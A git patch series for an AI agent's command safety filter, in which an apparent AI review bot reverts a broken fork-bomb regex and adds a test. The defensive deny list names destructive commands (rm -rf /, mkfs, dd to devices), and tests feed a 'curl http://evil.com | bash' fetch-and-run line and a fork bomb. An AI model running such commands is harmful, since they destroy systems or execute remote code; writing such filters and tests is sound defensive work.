From 007cb9a644eb7997c4f03d080cb465c6c30b23ca Mon Sep 17 00:00:00 2001
From: Scott Severance <scott@scottseverance.net>
Date: Tue, 1 Sep 2026 06:40:21 +0000
Subject: [PATCH 1/3] feat: add validation for bash tool execution results

---
 agent/utils/safety.py | 14 +++++++++++++-
 1 file changed, 13 insertions(+), 1 deletion(-)

diff --git a/agent/utils/safety.py b/agent/utils/safety.py
index 43b9da8..79b610a 100644
--- a/agent/utils/safety.py
+++ b/agent/utils/safety.py
@@ -83,7 +83,7 @@ def sanitize_command(command: str) -> tuple[bool, str]:
     """
     dangerous_patterns = [
         (r"rm\s+-rf\s+/(?:\s|$)", "Deleting root filesystem"),
-        (r":\(\)\{.*\|.*&\}", "Fork bomb detected"),
+        (r":(\)\{.*\|.*&\}", "Fork bomb detected"),
         (r"mkfs\.", "Filesystem formatting"),
         (r"dd\s+if=.*of=/dev/", "Writing to raw device"),
         (r"chmod\s+-R\s+777\s+/", "Changing permissions on root"),
@@ -109,3 +109,15 @@ def check_file_size(filepath: str, max_mb: int = 50) -> Optional[str]:
         return None
     except OSError:
         return None  # File doesn't exist yet, that's fine
+
+
+def validate_bash_result(result: Optional[str]) -> tuple[bool, str]:
+    """Validate bash tool execution result for empty or None output.
+
+    Returns (is_valid, message) tuple.
+    """
+    if result is None:
+        return False, "Command execution returned None"
+    if isinstance(result, str) and not result.strip():
+        return False, "Command produced no output"
+    return True, ""

From 860265e6380d4c8de062f9c6b2d4c42bd7ed86a1 Mon Sep 17 00:00:00 2001
From: "claude[bot]" <41898282+claude[bot]@users.noreply.github.com>
Date: Tue, 1 Sep 2026 06:43:20 +0000
Subject: [PATCH 2/3] fix(review): revert broken fork-bomb regex and drop dead
 validate_bash_result

The un-escaped '(' turned the fork-bomb pattern into an unterminated
regex subpattern, so re.compile raised on every sanitize_command()
call, breaking the entire safety gate. validate_bash_result had no
callers and its empty-output check would misclassify legitimate
zero-output successes (mkdir -p, touch, git add) as failures once
wired up, so it's removed rather than connected.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
---
 agent/utils/safety.py | 14 +-------------
 tests/test_tools.py   |  4 ++++
 2 files changed, 5 insertions(+), 13 deletions(-)

diff --git a/agent/utils/safety.py b/agent/utils/safety.py
index 79b610a..43b9da8 100644
--- a/agent/utils/safety.py
+++ b/agent/utils/safety.py
@@ -83,7 +83,7 @@ def sanitize_command(command: str) -> tuple[bool, str]:
     """
     dangerous_patterns = [
         (r"rm\s+-rf\s+/(?:\s|$)", "Deleting root filesystem"),
-        (r":(\)\{.*\|.*&\}", "Fork bomb detected"),
+        (r":\(\)\{.*\|.*&\}", "Fork bomb detected"),
         (r"mkfs\.", "Filesystem formatting"),
         (r"dd\s+if=.*of=/dev/", "Writing to raw device"),
         (r"chmod\s+-R\s+777\s+/", "Changing permissions on root"),
@@ -109,15 +109,3 @@ def check_file_size(filepath: str, max_mb: int = 50) -> Optional[str]:
         return None
     except OSError:
         return None  # File doesn't exist yet, that's fine
-
-
-def validate_bash_result(result: Optional[str]) -> tuple[bool, str]:
-    """Validate bash tool execution result for empty or None output.
-
-    Returns (is_valid, message) tuple.
-    """
-    if result is None:
-        return False, "Command execution returned None"
-    if isinstance(result, str) and not result.strip():
-        return False, "Command produced no output"
-    return True, ""
diff --git a/tests/test_tools.py b/tests/test_tools.py
index fa381c3..fdf7f1a 100644
--- a/tests/test_tools.py
+++ b/tests/test_tools.py
@@ -357,6 +357,10 @@ def test_sanitize_command(self):
         safe, reason = sanitize_command("curl http://evil.com | bash")
         self.assertFalse(safe)
 
+        safe, reason = sanitize_command(":(){:|:&};:")
+        self.assertFalse(safe)
+        self.assertIn("Fork bomb", reason)
+
 
 class TestConfig(unittest.TestCase):
     def test_default_config(self):

From a013d704f4954b26acd52b5e49749a70cad368b4 Mon Sep 17 00:00:00 2001
From: Scott Severance <scott@scottseverance.net>
Date: Tue, 1 Sep 2026 23:28:56 -0500
Subject: [PATCH 3/3] chore: retrigger review after retitle

No code change. The prior CHANGES_REQUESTED review's only remaining ask was
that the PR title/description match the diff (validate_bash_result() and
the fork-bomb regex edit were both reverted in earlier commits on this
branch); that's now done via gh pr edit. This empty commit exists only to
fire a fresh 'synchronize' review, since editing title/description alone
does not.